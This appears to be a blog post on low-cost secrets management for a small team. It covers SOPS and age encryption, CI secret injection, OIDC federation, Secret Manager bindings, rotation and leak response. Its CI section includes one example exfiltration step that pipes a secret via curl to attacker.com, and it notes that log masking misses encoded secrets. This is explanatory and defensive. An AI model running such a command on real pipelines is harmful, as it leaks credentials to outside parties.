Secrets management for small teams on a $0 budget: keep secrets out of git with SOPS and age, inject them in CI, bind them by name in serverless, rotate in 5 minutes.
Every secret leak I've cleaned up started the same boring way: not a hacker, a coworker. A .env file that got git add .-ed at 2 a.m. A Firebase service account JSON committed "just to test the deploy." A Stripe key pasted into a Slack channel that got archived and forgotten. Nobody broke in. Somebody held the door open and the key walked out.
I run a small engineering team in Dubai, and we ship a lot with very little. No paid vault. No HashiCorp Vault on a VM we'd have to babysit and patch. No security department to hide behind. And yet none of our production secrets live in a repo, none of them sit in plaintext on my laptop where a stolen bag would end the company, and rotating a leaked key takes about five minutes end to end. This is the whole secrets management workflow — local dev, CI, and serverless runtime — as one connected story, built for teams who need it to cost roughly zero.
If you take one idea from this post, take this: the plaintext of any real secret should exist in exactly one authoritative place, and everywhere else it's either encrypted at rest or injected at the moment it's needed. Everything below is just the mechanics of holding that line across a laptop, a CI runner, and a serverless function.
The .env file is a fine idea that everyone uses badly. The idea: keep config out of code. The reality: a plaintext file full of production credentials, sitting in your project root, one fat-fingered git add away from GitHub.
The failure modes are boring and universal:
.gitignore had .env but not .env.production, or someone force-added it with git add -f.The fix isn't "be more careful with .env." Careful doesn't scale to a team, and it definitely doesn't scale to a tired team shipping on a deadline. The fix is a system where the plaintext secret exists in exactly one authoritative place, and everywhere else it's either injected at the moment it's needed or encrypted at rest.
Rule one, non-negotiable, first commit of every repo:
# .gitignore.env.env.*!.env.example*.pem*-service-account*.jsongha-creds-*.json
That !.env.example line matters. You commit a real, complete .env.example with every key present and dummy values. New devs copy it, real values never leak, and the file doubles as living documentation of exactly what the app needs to boot. When someone adds a new dependency that needs a key, they add it to .env.example in the same PR — so the contract stays honest.
Not every value in your .env is a secret, and treating them all the same is how teams either over-engineer harmless config or under-protect the stuff that actually matters. Before you build any machinery, sort your values into three buckets.
| Tier | What it is | Example | If it leaks |
|------|-----------|---------|-------------|
| Public config | Ships to the client anyway | Firebase Web API key, app IDs, public base URLs | Nothing. It was never secret. |
| Real secrets | Grants privileged server access | Stripe secret key, service account JSON, DB password, admin API tokens | You're compromised. Rotate now. |
| Signing/identity | Proves you are you | JWT signing key, webhook signing secret, private keys | Attacker can forge your requests. Worst tier. |
The one that trips people up: the Firebase Web API key is not a secret. It's a project identifier. It ships inside every Flutter web build and Android APK — anyone can unzip the artifact and read it in under a minute. It's protected by Firebase Security Rules and App Check, not by hiding. Early on, a contractor spent most of a day trying to "hide" that key inside our app, obfuscating strings and splitting it across files — while the actual admin service account, the one that can read every user's data, sat in plaintext in a committed JSON file three folders over. He armored the doorknob and left the vault open. That's the exact inversion this whole post exists to prevent.
So: don't waste effort armoring public config, and don't ever let a Tier 2 or Tier 3 value touch a client bundle. That classification drives every decision below. When someone hands you a new key, the first question is always "which tier?" — because the answer tells you where it's allowed to live.
On a laptop I want two things. Secrets never in git. Secrets never sitting in plaintext where a stolen or compromised machine hands them over. The tool that gets me both for free is SOPS with an age key.
age is a tiny modern encryption tool. You generate a keypair once, encrypt the values of a file with SOPS (the keys stay readable, so diffs stay useful and code review still works), and commit the encrypted file. The plaintext only exists in memory when you run something.
# one-time: install and make a personal keybrew install sops ageage-keygen -o ~/.config/sops/age/keys.txt# prints: public key: age1ql3z7... <- share this, it's public
You encrypt a secrets file by listing the public keys of everyone allowed to read it. Because SOPS supports multiple recipients, each teammate uses their own private key — there's no shared password to leak:
# .sops.yaml, committed to the repocreation_rules: - path_regex: secrets/.*\.env$ age: >- age1ql3z7..., # me age1f9x2k... # my co-founder
sops secrets/prod.env # opens $EDITOR, encrypts on savegit add secrets/prod.env .sops.yaml
The committed secrets/prod.env is safe in the repo — every value is ciphertext, and only the listed age keys can decrypt it. To actually run the app, decrypt into the process environment and nowhere else:
# run.sh — never writes plaintext to diskset -aeval "$(sops -d secrets/prod.env)"set +aflutter run # or: node server.js, firebase emulators:start, etc.
No .env file on disk. No secret in your shell history (you didn't type it). Onboarding a dev is: add their age public key to .sops.yaml, run sops updatekeys secrets/prod.env, done — they can now decrypt with their own key. Offboarding is: remove their key, sops updatekeys, and rotate anything they touched. The plaintext lived in exactly one place: RAM, briefly.
A quick note on shell history, because it's the leak nobody thinks about. If you ever export STRIPE_KEY=sk_live_... at a prompt, that key is now in ~/.zsh_history in plaintext forever — and it's in the shell's process environment, which any child process can read. Never pass a secret as a command-line argument or an inline export. Pipe it, read it from a decrypted stream, or read it from stdin. The run.sh pattern above does exactly that: the value never appears as a typed token.
CI is where good intentions die. You've got clean local hygiene, and then someone pastes the production Stripe key into a GitHub Actions YAML file because the build needed it. Now it's in the repo, in history, and in every fork.
The model that works: CI never stores secrets in files you control. The platform holds them; the job receives them as environment variables at runtime and never logs them.
For GitHub Actions, secrets live in repo/environment settings (encrypted at rest, injected per-job) and you reference them by name:
# .github/workflows/deploy.ymljobs: deploy: runs-on: ubuntu-latest environment: production # gate this so PRs from forks can't reach prod secrets steps: - uses: actions/checkout@v4 - name: Deploy functions env: STRIPE_SECRET: ${{ secrets.STRIPE_SECRET }} FIREBASE_TOKEN: ${{ secrets.FIREBASE_TOKEN }} run: ./scripts/deploy.shThree things that actually keep this safe:
- run: echo $STRIPE_SECRET | curl attacker.com can exfiltrate everything the moment it runs on your infrastructure.echo a secret. GitHub masks known secret values in logs, but only exact string matches — base64-encode a secret and print it, or split it across lines, and the mask misses. Assume anything you print is public.- uses: google-github-actions/auth@v2 with: workload_identity_provider: projects/123/locations/global/workloadIdentityPools/gh/providers/gh service_account: deployer@my-project.iam.gserviceaccount.com
That last one is the upgrade most small teams skip and shouldn't. A leaked service-account JSON is valid until you notice and revoke it — which could be months. A leaked short-lived OIDC token is garbage almost immediately. There's no long-lived credential to steal because one never existed. This is the single highest-leverage change in the whole CI story: you're not protecting the secret better, you're removing the standing secret entirely.
One more trick that ties the two halves together: if your team uses SOPS locally, you can hand CI the single age private key as one repo secret and have the job decrypt the whole file at runtime. One secret to manage in the CI platform instead of thirty. Rotate one key and every downstream value re-encrypts under it. That's what keeps local dev and CI as one system instead of two divergent ones.
We run serverless (Cloud Functions, Cloud Run) because idle infrastructure is money on fire and I'd rather not patch a VM at midnight. Serverless changes how you hand secrets to running code: there's no box to SSH into and drop a file on. The runtime provides secrets to the process; you never bake them into the deploy artifact.
On Google Cloud, that's Secret Manager, and the free tier covers a small team comfortably — a handful of active secret versions and well under the free access-operation cap. You wire a secret to a function and it arrives as an env var, resolved fresh at cold start:
// Cloud Functions v2 — secret bound at deploy, injected at runtimeconst { onRequest } = require("firebase-functions/v2/https");exports.charge = onRequest( { secrets: ["STRIPE_SECRET"] }, // named, not valued async (req, res) => { const stripe = require("stripe")(process.env.STRIPE_SECRET); // ... });The secret's plaintext value is never in your source, never in the deploy command, never in an env file. The deploy references it by name; Google injects the value into the container's environment at boot. Access is IAM-controlled and every read is logged, so you can literally see in the audit trail when a secret was fetched and by which service account. That log is gold during an incident — it's the difference between "we think it might have been read" and "here is exactly who read it and when."
Now the part people get backwards. Client-side keys that ship to the user are not secrets and cannot be made into secrets. Your Flutter app's Firebase config, your Google Maps key, your analytics key — they're in the binary. Trying to hide them is theater. What actually protects you:
If a value needs to be secret and you're tempted to put it in the app, that's the signal you need a thin serverless endpoint in front of it. Every time. The rule of thumb: if the user's device ever holds the plaintext, treat it as public and design accordingly.
The best secrets setup in the world fails if you never rotate, and nobody rotates when it's a two-hour chore. The whole point of centralizing was to make rotation cheap. Make it a five-minute task and it'll actually happen.
Here's the loop, and why each step is short:
sops secrets/prod.env, change the value, save. For runtime, gcloud secrets versions add stripe-secret --data-file=- pipes a new version in without touching code.Because there's one authoritative location per secret, "rotate" is edit-one-value-and-push, not hunt-across-ten-machines. I keep a SECRETS.md (committed — it's just an inventory, no values) listing every secret, where it lives, what it's for, and where to rotate it. When something leaks at 11 p.m., I don't want to be discovering what a key does or which dashboard revokes it.
On cadence: I don't do calendar-driven rotation for everything — that's ceremony that teams quietly abandon after the second sprint. I rotate on events (someone leaves, a key is exposed, a device is lost) and I rotate the highest-value signing keys on a loose quarterly rhythm. Short-lived CI tokens rotate themselves, which is the whole reason to prefer them: the best rotation policy is the one you never have to remember to run.
It will happen. Someone will commit a key. Assume any secret that has ever touched a public surface is burned — pushed to a public repo, pasted in a ticket, printed in a build log. Do not think about whether it was "probably" scraped. Automated bots scan new GitHub commits within seconds; treat any exposure as full compromise.
The order matters. Revoke first, investigate second.
git filter-repo) is cosmetic — the key is already dead because you revoked it in step 1 — but do it so no one copies a dead key later and files a false alarm. Then add the guardrail: a pre-commit hook (gitleaks) and GitHub push protection so the next one gets blocked before it ever lands.The reason this stays calm instead of catastrophic: every leaked secret is scoped and rotatable in minutes, because you never had one giant credential that owns everything. Small blast radius, fast rotation, and the worst incident is a boring twenty-minute chore instead of a company-ending weekend.
.env, and never export a secret at your shell.None of this costs a dollar. It's all free tools and free tiers — SOPS, age, gitleaks, GitHub environments, Workload Identity Federation, Secret Manager's free allowance — and it's the difference between a leaked key being a shrug and a leaked key being the end of your startup.